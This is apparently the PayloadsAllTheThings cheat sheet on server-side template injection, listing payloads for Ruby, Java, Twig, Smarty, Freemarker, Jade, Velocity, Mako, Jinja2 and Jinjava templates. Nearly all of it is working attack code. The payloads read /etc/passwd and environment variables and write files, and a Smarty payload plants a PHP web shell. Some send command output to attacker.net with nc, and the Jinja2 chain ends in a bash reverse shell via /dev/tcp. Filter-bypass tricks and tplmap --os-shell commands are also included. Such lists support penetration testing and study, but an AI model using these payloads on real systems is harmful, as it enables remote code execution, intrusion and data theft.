PayloadsAllTheThings/Server Side Template Injection

Templates Injections

Template injection allows an attacker to include template code into an existant (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages

Summary

• Tools
• Methodology
• Ruby
  • Basic injection
  • Retrieve /etc/passwd
  • List files and directories
• Java
  • Basic injection
  • Retrieve the system’s environment variables
  • Retrieve /etc/passwd
• Twig
  • Basic injection
  • Template format
  • Code execution
• Smarty
• Freemarker
• Jade / Codepen
• Velocity
• Mako
• Jinja2
  • Basic injection
  • Template format
  • Dump all used classes
  • Dump all config variables
  • Read remote file
  • Write into remote file
  • Remote Code Execution
  • Filter bypass
• Jinjava
  • Basic injection
  • Command execution

Tools

Recommended tool: Tplmap e.g:

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Methodology

Ruby

Basic injection

<%= 7 * 7 %>

Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

List files and directories

<%= Dir.entries('/') %>

Java

Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Retrieve the system’s environment variables

${T(java.lang.System).getenv()}

Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Twig

Basic injection

{{7*7}}
{{7*'7'}} would result in 49

Template format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Code execution

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Smarty

{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Freemarker

Default functionality.

<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

Jade / Codepen

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mako

<%
import os
x=os.popen('id').read()
%>
${x}

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

### Basic injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

Template format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Dump all used classes

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Dump all config variables

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Read remote file

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Write into remote file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Remote Code Execution

Listen for connexion

nv -lnvp 8000

Inject this template

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host

Filter bypass

request.__class__
request["__class__"]

Bypassing _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Jinjava

Basic injection

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developped by Hubspot, available at https://github.com/HubSpot/jinjava/

Command execution

Fixed by https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}


{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

References

• https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
• Yahoo! RCE via Spring Engine SSTI
• Ruby ERB Template injection - TrustedSec
• Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)
• PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax
• VelocityServlet Expression Language injection
• Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore
• RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug
• RCE in Hubspot with EL injection in HubL - @fyoorer
• Jinja2 template injection filter bypasses - @gehaxelt, @0daywork
• Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018
• EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018